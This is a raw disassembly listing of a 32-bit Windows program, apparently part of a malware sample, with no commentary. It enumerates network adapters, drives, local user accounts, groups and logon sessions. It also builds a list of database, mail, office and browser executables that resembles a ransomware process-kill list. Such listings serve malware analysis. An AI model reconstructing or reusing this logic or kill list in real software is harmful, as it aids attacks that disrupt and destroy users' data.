mov edi, dword [eax + edx + 0x4c0]
mov esi, dword [eax + edx + 0x4c4]
add edi, dword [eax + edx + 0x4c8]
adc esi, dword [eax + edx + 0x4cc]
cmovb edi, ecx
cmovb esi, ecx
mov dword [esp + 0x200], edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x210], esi
mov esi, dword [eax + edx + 0x50c]
movsd xmm0, qword [edi]
mov edi, dword [eax + edx + 0x508]
add edi, dword [eax + edx + 0x510]
movsd qword [esp + 0x3e0], xmm0
adc esi, dword [eax + edx + 0x514]
cmovb esi, ecx
cmovb edi, ecx
mov ecx, dword [eax + edx + 0x500]
mov dword [esp + 0x36c], ecx
mov ecx, dword [eax + edx + 0x504]
mov dword [esp + 0x368], ecx
mov ecx, dword [eax + edx + 0x4b8]
mov dword [esp + 0x374], ecx
mov ecx, dword [eax + edx + 0x4bc]
mov dword [esp + 0x370], ecx
mov ecx, dword [eax + edx + 0x4d8]
mov dword [esp + 0x390], ecx
mov ecx, dword [eax + edx + 0x4dc]
mov dword [esp + 0x378], ecx
mov ecx, dword [eax + edx + 0x520]
mov eax, dword [eax + edx + 0x524]
mov edx, dword [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0xc0], eax
mov ecx, ebx
push dword [esp + 0x384]
push dword [esp + 0xdc]
call fcn.0044baab
pop ecx
pop ecx
and dl, 1
mov ebx, dword [esp + 0x350]
shl eax, 7
movq xmm0, qword [esp + 0x3e0]
movzx ecx, dl
mov edx, dword [esp + 0x2b0]
sub dword [esp + 0x2b8], ecx
mov ecx, edx
sub ecx, eax
neg eax
mov dword [edx + eax - 0x80], ebx
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x368]
mov ebx, dword [esp + 0x210]
mov dword [ecx - 0x7c], eax
mov eax, dword [esp + 0x10]
mov dword [ecx - 0x78], eax
mov eax, dword [esp + 0x36c]
movq qword [ecx - 0x70], xmm0
mov dword [ecx - 0x64], edx
mov dword [ecx - 0x68], eax
mov dword [ecx - 0x5c], edx
mov dword [ecx - 0x60], eax
mov edx, dword [esp + 0x370]
mov eax, dword [esp + 0x374]
mov dword [ecx - 0x54], edx
mov dword [ecx - 0x58], eax
mov dword [ecx - 0x4c], edx
mov edx, dword [esp + 0x200]
mov dword [ecx - 0x50], eax
mov dword [ecx - 0x44], ebx
mov dword [ecx - 0x48], edx
mov dword [ecx - 0x40], edx
mov dword [ecx - 0x3c], ebx
mov dword [ecx - 0x34], esi
mov dword [ecx - 0x38], edi
mov dword [ecx - 0x30], edi
mov edx, dword [esp + 0x378]
mov edi, dword [esp + 0x390]
mov dword [ecx - 0x2c], esi
mov esi, dword [esp + 0x18]
mov dword [ecx - 0x24], edx
mov dword [ecx - 0x28], edi
mov dword [ecx - 0x1c], edx
mov edx, dword [esp + 0xc0]
mov dword [ecx - 0x20], edi
mov dword [ecx - 0x18], esi
mov dword [ecx - 0x14], edx
mov dword [ecx - 0xc], edx
mov dword [ecx - 0x10], esi
and dword [ecx - 8], 0
and word [ecx - 4], 0
mov byte [ecx - 2], 1
inc dword [esp + 0x2bc]
jmp 0x41e12c
lea ecx, [esp + 0x2b0]
lea edx, [esp + 0x2c0]
call fcn.00558d3b
mov ebx, dword [esp + 0x2b0]
mov eax, dword [esp + 0x2b4]
mov dword [esp + 8], eax
jmp 0x41e15a
mov esi, eax
sub edi, esi
add esi, 8
shr edi, 4
sub edi, 1
jb 0x41e385
mov ecx, dword [esi - 4]
mov edx, dword [esi]
call fcn.00567db4
add esi, 0x10
jmp 0x41e371
mov eax, dword [esp + 0x380]
test eax, eax
je 0x41e3a4
shl eax, 4
push 4
pop edx
mov ecx, dword [esp + 0x37c]
push eax
call fcn.00408833
pop eax
push dword [esp + 0x220]
call sub.iphlpapi.dll_FreeMibTable
mov edx, dword [esp + 0xf4]
test edx, edx
je 0x41e46a
mov eax, dword [esp + 0xfc]
mov ecx, dword [esp + 0xf0]
test eax, eax
je 0x41e462
movdqa xmm0, xmmword [ecx]
lea esi, [esp + 0x6c]
lea edx, [edx + ecx + 1]
mov dword [esi - 0xc], ecx
add ecx, 0x10
mov dword [esi - 8], ecx
mov dword [esi - 4], edx
pmovmskb edi, xmm0
not edi
mov word [esi], di
xor edi, edi
mov dword [esi + 4], eax
inc edi
test edi, edi
jne 0x41e424
jmp 0x41e454
mov eax, dword [esp + 0x64]
movdqa xmm0, xmmword [eax]
add eax, 0x10
pmovmskb ecx, xmm0
not ecx
mov word [esp + 0x6c], cx
add dword [esp + 0x60], 0xffffff00
mov dword [esp + 0x64], eax
mov ecx, esi
call fcn.0048f1af
cmp eax, 1
jne 0x41e402
mov edi, dword [esp + 0x70]
mov eax, dword [esp + 0x60]
shl edx, 4
mov ecx, eax
dec edi
sub ecx, edx
mov dword [esp + 0x70], edi
neg edx
mov ecx, dword [ecx - 0x10]
mov edx, dword [eax + edx - 0xc]
call fcn.00567db4
jmp 0x41e3fc
mov ecx, dword [esp + 0xf0]
mov edx, dword [esp + 0xf4]
push 0x10
call fcn.004fe4bb
pop eax
mov eax, dword [esp + 0x2b0]
mov ecx, dword [esp + 0x2b4]
mov edi, dword [esp + 0x2bc]
lea esi, [esp + 0xf0]
movdqa xmm0, xmmword [eax]
lea ecx, [ecx + eax + 1]
mov dword [esi], eax
add eax, 0x10
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
pmovmskb edx, xmm0
not edx
mov word [esi + 0xc], dx
mov dword [esi + 0x10], edi
mov ecx, esi
call fcn.00558542
test eax, eax
je 0x41e4de
cmp byte [eax - 2], 0
mov edi, eax
jne 0x41e4a6
mov edx, dword [esp + 0x2b0]
lea ecx, [esp + 0x2b0]
sub edx, edi
sar edx, 7
call fcn.00559b7a
mov ecx, dword [edi - 0x80]
mov edx, dword [edi - 0x7c]
call fcn.00563c9c
jmp 0x41e4a6
and dword [esp + 0xa0], 0
lea eax, [esp + 0x24]
xor edi, edi
mov dword [eax], 0x3c00
push 4
pop esi
dec esi
je 0x41e599
push dword [esp + 0x24]
push edi
call sub.msvcrt.dll_realloc
pop ecx
pop edx
test eax, eax
je 0x41e512
mov dword [esp + 4], eax
jmp 0x41e557
push 0x32
pop ecx
xor edx, edx
call fcn.00487eba
mov ebx, edx
mov dword [esp + 4], eax
push 0x32
push str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSESGetAdaptersAddresses___failed_with_code__
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call sub.msvcrt.dll_free
mov ecx, dword [esp + 8]
add esp, 4
cmp ecx, 0x80000000
jne 0x4204e8
push 0x32
pop eax
mov dword [esp + 4], eax
mov eax, ebx
push 8
pop ebx
lea ecx, [esp + 0x24]
push ecx
mov edi, eax
push eax
push 0
push 0xe
push 0
call sub.iphlpapi.dll_GetAdaptersAddresses
cmp eax, 0x6f
mov dword [esp + 0xa0], eax
je 0x41e4f5
test eax, eax
jne 0x41e599
mov eax, dword [esp + 4]
mov ecx, 0x80000000
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], eax
mov dword [esp + 0x60], 0x80000000
jmp 0x41e5e1
lea eax, [esp + 0xa0]
lea edx, [esp + 0xf0]
lea ecx, [esp + 0x40]
lea esi, [esp + 0x60]
mov dword [esp + 0x40], eax
xor eax, eax
mov dword [edx], 0x69f288
mov dword [esp + 0x44], fcn.0043a0b0
inc eax
mov dword [edx + 4], eax
and dword [edx + 0x10], 0
mov dword [edx + 8], ecx
mov ecx, esi
mov dword [edx + 0xc], eax
call fcn.00556bd9
push edi
call sub.msvcrt.dll_free
pop eax
mov ecx, dword [esi]
cmp ecx, 0x80000000
jne 0x41e76b
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
lea edx, [esp + 0x40]
mov dword [edx], eax
mov dword [edx + 4], ecx
lea ecx, [esp + 0xf0]
lea edx, [esp + 0x40]
call fcn.0055aacc
mov eax, dword [esp + 0xf0]
cmp eax, 0x80000000
je 0x41e776
mov ecx, dword [esp + 0xf4]
cmp dword [esp + 0x2bc], 0
mov dword [esp + 0x10], eax
mov dword [esp + 4], ecx
je 0x41e759
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0x2c0]
mov edx, dword [esp + 0x2c4]
mov dword [esp + 0xc], eax
push eax
push dword [esp + 8]
push dword [esp + 0x2d4]
push dword [esp + 0x2d4]
call fcn.00473d7d
add esp, 0x10
mov esi, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b0]
mov dword [esp + 0x14], 0
mov dword [esp + 8], esi
and esi, eax
shr eax, 0x19
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm1, xmm0, 0
movdqa xmmword [esp + 0xe0], xmm1
movdqu xmm0, xmmword [ecx + esi]
mov edi, ecx
movdqa xmmword [esp + 0xc0], xmm0
pcmpeqb xmm0, xmm1
pmovmskb eax, xmm0
mov word [esp + 0xa0], ax
lea ecx, [esp + 0xa0]
call fcn.0048f1af
test eax, eax
je 0x41e703
add edx, esi
mov ebx, edi
mov ecx, dword [esp + 4]
and edx, dword [esp + 8]
shl edx, 7
sub ebx, edx
mov edx, dword [esp + 0xc]
push dword [ebx - 0x78]
push dword [ebx - 0x7c]
call fcn.0055d636
pop ecx
pop edx
test al, al
je 0x41e6cb
jmp 0x41e742
movdqa xmm1, xmmword [esp + 0xc0]
pcmpeqd xmm0, xmm0
pcmpeqb xmm1, xmm0
pmovmskb eax, xmm1
test eax, eax
push 8
pop ebx
jne 0x41e759
mov eax, dword [esp + 0x14]
movdqa xmm1, xmmword [esp + 0xe0]
mov ecx, edi
lea esi, [esi + eax + 0x10]
add eax, 0x10
and esi, dword [esp + 8]
mov dword [esp + 0x14], eax
jmp 0x41e6ab
lea ecx, [esp + 0xfc]
movzx eax, word [ecx + 4]
mov word [ebx - 4], ax
mov eax, dword [ecx]
mov dword [ebx - 8], eax
push 8
pop ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 4]
call fcn.00563c9c
jmp 0x41e5fe
mov edx, dword [esp + 0x64]
call fcn.00563c9c
jmp 0x41e780
push dword [esp + 0x40]
call sub.msvcrt.dll_free
pop eax
lea ecx, [esp + 0x240]
mov edx, 0x10101
call fcn.00559c2b
call sub.KERNEL32.DLL_GetLogicalDrives
test eax, eax
mov dword [esp + 0x220], eax
je 0x41e8fe
lea eax, [esp + 0x220]
and dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 8
and dword [esp + 0xa8], 0
mov dword [esp + 0xf0], eax
and dword [esp + 0xf4], 0
push 0x20
pop esi
mov ecx, esi
mov dword [esp + 0xf8], esi
call fcn.005586a9
lea edi, [esp + 0x40]
mov edx, esi
lea ebx, [esp + 0xf0]
mov ecx, edi
push ebx
push esi
push 0
push 1
push eax
push 0
call fcn.00555ecb
add esp, 0x18
mov eax, dword [esp + 0x48]
xor edx, edx
sub eax, 1
jb 0x41e820
mov edi, dword [edi]
test edi, edi
je 0x41e820
add edx, dword [edi + 8]
add edi, 0xc
jmp 0x41e80d
lea ecx, [esp + 0xa0]
call fcn.00558890
mov eax, dword [esp + 0x48]
movq xmm0, qword [esp + 0x40]
lea ecx, [esp + 0x60]
mov dword [ecx + 8], eax
movq qword [ecx], xmm0
lea ecx, [esp + 0x60]
call fcn.00555ea1
test eax, eax
je 0x41e8da
movq xmm0, qword [eax + 4]
mov esi, dword [eax]
mov ecx, eax
movq qword [esp + 0x24], xmm0
call fcn.0048a86b
cmp esi, 0x80000000
je 0x41e8da
mov edi, dword [esp + 0x28]
mov dword [esp + 0xf0], esi
mov esi, dword [esp + 0x24]
lea ecx, [esp + 0xa0]
mov edx, edi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], edi
call fcn.00558890
mov ebx, dword [esp + 0xa8]
imul ecx, edi, 0x50
imul eax, ebx, 0x50
add eax, dword [esp + 0xa4]
push ecx
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
and dword [esp + 0xf8], 0
add ebx, edi
lea ecx, [esp + 0xf0]
mov dword [esp + 0xa8], ebx
call fcn.005558f4
jmp 0x41e841
lea ecx, [esp + 0x60]
call fcn.00555e79
mov eax, dword [esp + 0xa0]
mov esi, dword [esp + 0xa4]
mov edi, dword [esp + 0xa8]
mov dword [esp + 4], eax
jmp 0x41e90a
mov dword [esp + 4], 0
xor edi, edi
mov esi, ebx
lea ecx, [esp + 0x32c]
lea ebx, [esp + 0x338]
call fcn.005558f4
mov eax, dword [esp + 4]
lea edx, [esp + 0x220]
lea ecx, [esp + 0x388]
and dword [edx], 0
mov dword [edx + 4], 4
and dword [edx + 8], 0
and dword [ecx], 0
mov dword [ebx - 0xc], eax
mov dword [ebx - 8], esi
mov dword [ebx - 4], edi
lea esi, [esp + 0x24]
lea ebx, [esp + 0xf0]
and dword [esp + 0xdc], 0
and dword [esp + 0x23c], 0
and dword [esp + 0x38c], 0
lea eax, [esp + 0x388]
push eax
lea eax, [esp + 0x390]
push eax
lea eax, [esp + 0x244]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xec]
push eax
push 2
push 0
push 0
call sub.netapi32.dll_NetUserEnum
test eax, eax
je 0x41e9a8
cmp eax, 0xea
jne 0x41ecf5
mov dword [esp + 0xc0], eax
mov ecx, dword [esp + 0xdc]
mov eax, dword [esp + 0x23c]
lea esi, [esp + 0x3a8]
lea eax, [ecx + eax*4]
mov dword [esp + 8], eax
cmp ecx, dword [esp + 8]
je 0x41eccd
mov edi, ecx
add ecx, 4
cmp dword [edi], 0
je 0x41e9cb
and dword [esp + 0x1f8], 0
lea eax, [esp + 0x1f8]
mov dword [esp + 4], ecx
push eax
push 0x17
push dword [edi]
push 0
call sub.netapi32.dll_NetUserGetInfo
test eax, eax
jne 0x41ecb3
mov eax, dword [esp + 0x1f8]
lea ecx, [esp + 0x24]
mov edx, dword [eax + 0x10]
call fcn.00556fbe
cmp dword [esp + 0x24], 0x80000000
je 0x41ecb3
mov edx, dword [esp + 0x28]
mov ecx, ebx
call fcn.0055a24c
cmp dword [esp + 0xf0], 0x80000000
jne 0x41ea4f
mov edx, dword [edi]
lea ecx, [esp + 0xa0]
call fcn.0055569d
jmp 0x41ea6f
mov eax, dword [esp + 0xf8]
movq xmm0, qword [esp + 0xf0]
mov dword [esp + 0xa8], eax
movq qword [esp + 0xa0], xmm0
mov eax, dword [edi]
and dword [esp + 0x1fc], 0
and dword [esp + 0x3c4], 0
and dword [esp + 0x3a8], 0
push esi
lea ecx, [esp + 0x3c8]
push ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x208]
push ecx
push 1
push 0
push eax
push 0x69f22c
call sub.netapi32.dll_NetUserGetLocalGroups
xor edi, edi
test eax, eax
je 0x41eabb
push 4
pop ecx
xor edx, edx
jmp 0x41ec3f
mov edx, dword [esp + 0x3c4]
test edx, edx
push 4
pop ecx
mov dword [esp + 0x10], ecx
je 0x41eb09
cmp edx, 0xaaaaaaa
ja 0x4206bb
imul edi, edx, 0xc
test edi, edi
js 0x4206bb
mov ebx, esi
mov esi, edx
mov edx, edi
call fcn.00425bef
push 4
pop ecx
mov edx, esi
mov esi, ebx
test eax, eax
lea ebx, [esp + 0xf0]
mov dword [esp + 0x10], eax
je 0x4206df
mov eax, dword [esp + 0x1fc]
test eax, eax
je 0x41eb62
mov edi, dword [esp + 0x3c4]
cmp edx, edi
mov dword [esp + 0xc], edi
jae 0x41eb81
lea esi, [edx + edx]
mov ebx, edx
mov dword [esp + 0x14], eax
cmp esi, edi
cmovbe esi, edi
cmp esi, 5
cmovb esi, ecx
xor edx, edx
cmp esi, 0xaaaaaab
mov eax, esi
setb byte [esp + 0xe0]
test ebx, ebx
je 0x41eb93
mov esi, dword [esp + 0x10]
mov edi, ecx
imul ecx, ebx, 0xc
mov dword [esp + 0x60], esi
mov dword [esp + 0x68], ecx
mov ecx, edi
jmp 0x41eb99
mov eax, dword [esp + 0x10]
mov dword [esp + 0x108], edx
mov dword [esp + 0x10c], eax
and dword [esp + 0x110], 0
jmp 0x41ec65
mov ecx, dword [esp + 0x10]
test edi, edi
mov edi, 0
jne 0x41ebee
jmp 0x41ec3f
mov esi, dword [esp + 0x10]
xor ecx, ecx
mov edi, eax
imul eax, eax, 0xc
mov dword [esp + 0x64], ecx
lea ecx, [esp + 0x40]
mov dword [esp + 0x10], eax
mov al, byte [esp + 0xe0]
mov dl, al
lea eax, [esp + 0x60]
shl edx, 2
push eax
push dword [esp + 0x14]
call fcn.00446351
pop eax
pop ecx
cmp dword [esp + 0x40], 0
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov eax, 0x80000001
cmove esi, ecx
cmove ecx, eax
cmove ebx, edi
call fcn.004388ae
mov eax, dword [esp + 0x14]
mov edx, ebx
mov ecx, esi
xor edi, edi
mov ebx, ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov edx, dword [eax + edi*4]
lea ecx, [esp + 0x60]
mov esi, eax
call fcn.0055569d
mov eax, dword [esp + 0x68]
inc edi
mov dword [ebx + 8], eax
mov eax, esi
movq xmm0, qword [esp + 0x60]
movq qword [ebx], xmm0
add ebx, 0xc
cmp dword [esp + 0xc], edi
jne 0x41ebfa
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
lea ebx, [esp + 0xf0]
lea esi, [esp + 0x3a8]
mov eax, dword [esp + 0x1fc]
mov dword [esp + 0x108], edx
mov dword [esp + 0x10c], ecx
mov dword [esp + 0x110], edi
test eax, eax
je 0x41ec65
push eax
call sub.netapi32.dll_NetApiBufferFree
movsd xmm0, qword [esp + 0x24]
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0xa8]
lea ecx, [esp + 0xfc]
movsd qword [esp + 0xf0], xmm0
movq xmm0, qword [esp + 0xa0]
mov dword [esp + 0xf8], eax
and dword [esp + 0x114], 0
mov dword [ecx + 8], edx
mov edx, ebx
movq qword [ecx], xmm0
lea ecx, [esp + 0x220]
call fcn.0055a2e9
mov eax, dword [esp + 0x1f8]
test eax, eax
je 0x41ecc4
push eax
call sub.netapi32.dll_NetApiBufferFree
mov ecx, dword [esp + 4]
jmp 0x41e9cb
cmp dword [esp + 0xc0], 0xea
mov ecx, dword [esp + 0xdc]
jne 0x41ecef
call fcn.0055a22e
lea esi, [esp + 0x24]
jmp 0x41e954
lea esi, [esp + 0x24]
jmp 0x41ecfc
mov ecx, dword [esp + 0xdc]
call fcn.0055a22e
and dword [esp + 0x3a8], 0
and dword [esp + 0x24], 0
push esi
lea eax, [esp + 0x3ac]
push eax
call sub.secur32.dll_LsaEnumerateLogonSessions
mov ebx, dword [esp + 0x24]
test eax, eax
jne 0x41ef13
mov eax, dword [esp + 0x3a8]
lea edi, [esp + 0xf0]
lea esi, [ebx + eax*8]
mov dword [esp + 0x14], esi
cmp ebx, esi
je 0x41ef0f
and dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push ebx
add ebx, 8
call sub.secur32.dll_LsaGetLogonSessionData
mov ecx, dword [esp + 0x40]
test eax, eax
je 0x41ed67
call fcn.0055a23d
jmp 0x41ed3d
test ecx, ecx
je 0x41ee11
cmp dword [ecx + 0x24], 3
je 0x41ed60
mov edx, dword [ecx + 0x10]
movzx eax, word [ecx + 0xc]
mov dword [esp + 0x10], edx
mov edx, dword [ecx + 0x2c]
mov ecx, edi
mov dword [esp + 0xc], eax
call fcn.00556fbe
mov eax, dword [esp + 0xf0]
cmp eax, 0x80000000
je 0x41ef06
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xf4]
imul edi, dword [esp + 0x228], 0x28
mov dword [esp + 4], eax
mov eax, dword [esp + 0xf8]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x224]
test edi, edi
je 0x41ee18
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
lea esi, [eax + 0x28]
push dword [esp + 8]
push dword [esp + 8]
call fcn.0055879c
pop ecx
pop edx
add edi, 0xffffffd8
test al, al
mov eax, esi
je 0x41edcc
mov ecx, dword [esp + 0xc0]
mov edx, dword [esp + 4]
call fcn.00563c9c
mov esi, dword [esp + 0x14]
lea edi, [esp + 0xf0]
jmp 0x41ef06
xor ecx, ecx
jmp 0x41ed60
mov edx, dword [esp + 4]
lea ecx, [esp + 0x60]
call fcn.0055a24c
mov eax, dword [esp + 0x60]
cmp eax, 0x80000000
jne 0x41ee81
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
lea edi, [esp + 0xf0]
mov ecx, edi
shr eax, 1
push eax
call fcn.00434c30
pop eax
mov esi, dword [esp + 0xf0]
xor eax, eax
mov ecx, 1
mov edx, 0
cmp esi, 0x80000000
je 0x41ee75
mov ecx, dword [esp + 0xf4]
mov edx, dword [esp + 0xf8]
mov eax, esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0xc], edx
mov edx, ecx
jmp 0x41ee98
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x64]
mov esi, dword [esp + 0x14]
lea edi, [esp + 0xf0]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc0]
mov dword [esp + 0xf0], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0xf4], ecx
mov ecx, dword [esp + 8]
mov dword [esp + 0xf8], ecx
mov ecx, dword [esp + 0xc]
and dword [esp + 0x114], 0
mov dword [esp + 0xfc], eax
mov dword [esp + 0x100], edx
mov edx, edi
mov dword [esp + 0x104], ecx
and dword [esp + 0x108], 0
mov dword [esp + 0x10c], 4
and dword [esp + 0x110], 0
lea ecx, [esp + 0x220]
call fcn.0055a2e9
mov ecx, dword [esp + 0x40]
jmp 0x41ed60
mov ebx, dword [esp + 0x24]
mov eax, dword [esp + 0x228]
movsd xmm0, qword [esp + 0x220]
test ebx, ebx
mov dword [esp + 0xf8], eax
movsd qword [esp + 0xf0], xmm0
je 0x41ef3d
push ebx
call sub.secur32.dll_LsaFreeReturnBuffer
mov ecx, dword [esp + 0x33c]
mov edx, dword [esp + 0x340]
call fcn.00558bd7
mov ecx, dword [esp + 0x338]
mov edx, dword [esp + 0x33c]
call fcn.00558c53
mov eax, dword [esp + 0xf8]
movq xmm0, qword [esp + 0xf0]
lea ecx, [esp + 0x338]
mov esi, 0x108
mov dword [ecx + 8], eax
movq qword [ecx], xmm0
push esi
lea eax, [esp + 0x244]
push eax
lea edi, [esp + 0xf8]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, edi
mov edx, 0x10101
call fcn.00559c2b
push 4
pop edx
mov ecx, 0x108
call fcn.00406573
mov dword [eax], str.Sql.exeOracle.exeOcssd.exeDbsnmp.exeSynctime.exeAgntsvc.exeIsqlplussvc.exeXfssvccon.exeMydesktopservice.exeOcautoupds.exeEncsvc.exeFirefox.exeTbirdconfig.exeMydesktopqos.exeOcomm.exeDbeng50.exeSqbcoreservice.exeExcel.exeInfopath.exeMsaccess.exeMspub.exeOnenote.exeOutlook.exePowerpnt.exeSteam.exeThebat.exeThunderbird.exeVisio.exeWinword.exeWordpad.exeNotepad.exeUtweb.exeUt.exe1
mov dword [eax + 4], 7
mov dword [eax + 8], 0x5d5c73
push 0xa
pop ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], 0x5d5c7d
push 9
pop edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], 0x5d5c86
mov dword [eax + 0x1c], ebx
mov dword [eax + 0x20], 0x5d5c90
push 0xc
pop ecx
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], 0x5d5c9c
push 0xb
pop ecx
mov dword [eax + 0x2c], ecx
mov dword [eax + 0x30], 0x5d5ca7
push 0xf
pop ebx
mov dword [eax + 0x34], ebx
mov dword [eax + 0x38], 0x5d5cb6
mov dword [eax + 0x3c], 0xd
mov dword [eax + 0x40], 0x5d5cc3
mov dword [eax + 0x44], 0x14
mov dword [eax + 0x48], 0x5d5cd7
mov dword [eax + 0x4c], 0xe
mov dword [eax + 0x50], 0x5d5ce5
push 0xa
pop edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], 0x5d5cef
mov dword [eax + 0x5c], ecx
mov dword [eax + 0x60], 0x5d5cfa
mov dword [eax + 0x64], ebx
mov dword [eax + 0x68], 0x5d5d09
mov dword [eax + 0x6c], 0x10
mov dword [eax + 0x70], 0x5d5d19
mov dword [eax + 0x74], edi
mov dword [eax + 0x78], 0x5d5d22
mov dword [eax + 0x7c], ecx
mov dword [eax + 0x80], 0x5d5d2d
mov dword [eax + 0x84], 0x12
mov dword [eax + 0x88], 0x5d5d3f
mov dword [eax + 0x8c], edi
mov dword [eax + 0x90], 0x5d5d48
push 0xc
pop edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], 0x5d5d54
mov dword [eax + 0x9c], edx
mov dword [eax + 0xa0], 0x5d5d60
mov dword [eax + 0xa4], edi
mov dword [eax + 0xa8], 0x5d5d69
mov dword [eax + 0xac], ecx
mov dword [eax + 0xb0], 0x5d5d74
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], 0x5d5d7f
mov dword [eax + 0xbc], edx
mov dword [eax + 0xc0], 0x5d5d8b
mov dword [eax + 0xc4], edi
mov dword [eax + 0xc8], 0x5d5d94
push 0xa
pop edx
mov dword [eax + 0xcc], edx
mov dword [eax + 0xd0], 0x5d5d9e
mov dword [eax + 0xd4], ebx
mov dword [eax + 0xd8], 0x5d5dad
mov dword [eax + 0xdc], edi
mov dword [eax + 0xe0], 0x5d5db6
mov dword [eax + 0xe4], ecx
mov dword [eax + 0xe8], 0x5d5dc1
mov dword [eax + 0xec], ecx
mov dword [eax + 0xf0], 0x5d5dcc
mov dword [eax + 0xf4], ecx
mov dword [eax + 0xf8], 0x5d5dd7
mov dword [eax + 0xfc], edi
mov dword [eax + 0x100], 0x5d5de0
mov dword [eax + 0x104], 6
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], 0x21
add esi, eax
mov dword [esp + 0xa8], eax
mov dword [esp + 0x350], eax
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0xac], esi
cmp eax, 0x21
je 0x41f795
mov edx, dword [esp + 0x350]
lea ecx, [edx + eax*8 + 8]
mov dword [esp + 0xa8], ecx
mov ecx, dword [edx + eax*8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [edx + eax*8 + 4]
mov edx, dword [esp + 0x144]
inc eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x210], ecx
mov ecx, dword [esp + 0x140]
movdqa xmm0, xmmword [ecx]
lea edx, [edx + ecx + 1]
mov dword [esp + 0x40], ecx
add ecx, 0x10
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], edx
mov edx, dword [esp + 0x14c]
pmovmskb ecx, xmm0
not ecx
mov word [esp + 0x4c], cx
mov dword [esp + 0x50], edx
lea ecx, [esp + 0x40]
call fcn.00558cd7
test eax, eax
je 0x41f78c
mov ecx, dword [eax - 0x3c]
mov edx, dword [eax - 0x38]
mov dword [esp + 8], eax
push dword [esp + 0x210]
push dword [esp + 0x20]
call fcn.0055d636
pop ecx
pop edx
test al, al
je 0x41f237
lea ecx, [esp + 0x240]
mov edx, 0x69f01a
push 0xc
call fcn.00555000
pop eax
lea ecx, [esp + 0x240]
mov edx, 0x69f026
push 4
call fcn.005550d0
pop eax
mov eax, dword [esp + 8]
and dword [esp + 0x24], 0
mov dword [esp + 0x28], 1
and dword [esp + 0x7c], 0
mov dword [esp + 0x70], 0x20
mov byte [esp + 0x80], 3
and dword [esp + 0x60], 0
and dword [esp + 0x68], 0
and dword [esp + 0x2c], 0
mov dword [esp + 0x74], edi
lea edi, [esp + 0x60]
mov dword [esp + 0x78], 0x69eab0
add eax, 0xfffffff0
push edi
push eax
call fcn.00556b94
pop ecx
pop edx
test al, al
jne 0x4206c0
movq xmm0, qword [esp + 0x24]
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x240]
lea edx, [esp + 0x220]
mov ecx, edi
movq qword [esp + 0x220], xmm0
mov dword [esp + 0x228], eax
call fcn.00558736
mov ecx, edi
mov edx, 0x69f02a
push 2
call fcn.005550d0
pop eax
lea ecx, [esp + 0x60]
mov edx, edi
mov dword [esp + 0x294], 0x8000000
call fcn.00551750
mov edi, dword [esp + 0x60]
cmp edi, 0x80000000
je 0x41f371
mov ecx, dword [esp + 0x70]
mov eax, dword [esp + 0x6c]
mov edx, dword [esp + 0x64]
mov dword [esp + 0xc], ecx
mov ecx, edi
mov dword [esp + 8], eax
call fcn.00563c9c
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
call fcn.00563c9c
mov ecx, dword [esp + 0x258]
mov edx, dword [esp + 0x25c]
mov dword [esp + 0x20], edi
call fcn.00563c9c
mov eax, dword [esp + 0x26c]
mov edi, dword [esp + 0x270]
add eax, 8
sub edi, 1
jb 0x41f3b5
mov ecx, dword [eax - 4]
mov edx, dword [eax]
mov dword [esp + 8], eax
call fcn.00563c9c
mov eax, dword [esp + 8]
add eax, 0x14
jmp 0x41f399
mov eax, dword [esp + 0x268]
test eax, eax
je 0x41f3d4
mov ecx, dword [esp + 0x26c]
imul eax, eax, 0x14
push 4
pop edx
push eax
call fcn.00408833
pop eax
mov eax, dword [esp + 0x284]
lea edi, [esp + 0x24]
test eax, eax
je 0x41f405
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x288]
xor ebx, ebx
mov esi, eax
mov dword [esp + 0xc], ecx
xor ecx, ecx
inc ecx
mov dword [esp + 8], ecx
jmp 0x41f4fd
mov edx, dword [esp + 0x10]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
jmp 0x41f4fd
cmp dword [esp + 8], 0
mov dword [esp + 0xc], eax
je 0x41f43c
test ebx, ebx
jne 0x41f43c
